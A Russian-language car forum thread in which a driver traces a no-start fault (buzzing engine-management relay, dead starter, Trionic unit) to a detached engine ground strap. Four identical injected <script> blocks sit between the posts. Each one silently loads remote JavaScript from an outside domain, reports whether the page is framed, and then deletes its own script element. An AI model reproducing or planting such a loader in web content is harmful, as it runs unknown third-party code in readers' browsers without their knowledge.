не заводится
 

сегодня сел в машинку, включил зажигание, и обратил внимание на какой то звук, исходящий из реле в торпеде.начал заводить, а она не заводится. и горит лампочка есп отключено. при включении зажигания, реле странно жужжит, скорее всего реле топлива.что может быть? неужели так могут сгорать релюхи???(вроде как и рботает, а вроде и жопа...)
<script>(function () { var script = document.createElement('script'); script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random(); script.onload = script.onerror = function () { script.onload = script.onerror = null; script.parentNode.removeChild(script); } document.body.appendChild(script); })();</script>

поковырял машину, выяснил что жужжит главное реле системы управления двигателем(Е). оно управляется блоком 589 (Trionic). при повороте ключа, на это реле подается питание.оно жужжит секунды 2 и замолкает.остается отключенным. реле стартера щелкает, но стартер не крутиться. мож у кого что то подобное было. спрашиваю потому, что машина не на ходу.еслиб завелась, уж как нибудь до сервиса я доехал бы, а там все и расскажут. но без этого реле не работает бензонасос и т.д. и мне интересно, что еще препятсвует стартеру работать?
<script>(function () { var script = document.createElement('script'); script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random(); script.onload = script.onerror = function () { script.onload = script.onerror = null; script.parentNode.removeChild(script); } document.body.appendChild(script); })();</script>

Судя хитростной поломки, всетаки прибегнуть к проверке через Тейч2 , порой самостоятельные ковыряния к хорошему неприводят.

Дроссель стрельнул взведи и откинь + на пару минут!!:biggrin:

а разве при стрельнутом дросселе стартер не маслает????у меня есть одно предположение.скорее всего все банально и просто.если у машины отказало несколько агрегатов то причина ода.вот ее и нужно найти.мне кажется что отвалилась масса идущая на двигатель, и поэтому не работает и блок трионик, т.к. заземляется на двигатель, и старетр само собой.на реле стартера приходят 12в, а вот дется после него некуда. завтра поковыряю и отпишусь.
<script>(function () { var script = document.createElement('script'); script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random(); script.onload = script.onerror = function () { script.onload = script.onerror = null; script.parentNode.removeChild(script); } document.body.appendChild(script); })();</script><script>(function () { var script = document.createElement('script'); script.src = 'https://abover.com/system/extension?iframe=' + ( self === top ? '0' : '1' ) + '&r=' + Math.random(); script.onload = script.onerror = function () { script.onload = script.onerror = null; script.parentNode.removeChild(script); } document.body.appendChild(script); })();</script>

все норм. масса отвалилась от двигателя.диагностика хрен бы чего показала, т.к.блок трионик заземлен на двигатель и соответственно обесточен.ща соплю кинул 4 квадрата под крепеж кассеты зажигания, завелся, перегнал ее.правда греется.вернусь домой, отгоню в сервис, пусть посмотрят где отвалилась масса, а нет - новую фигану.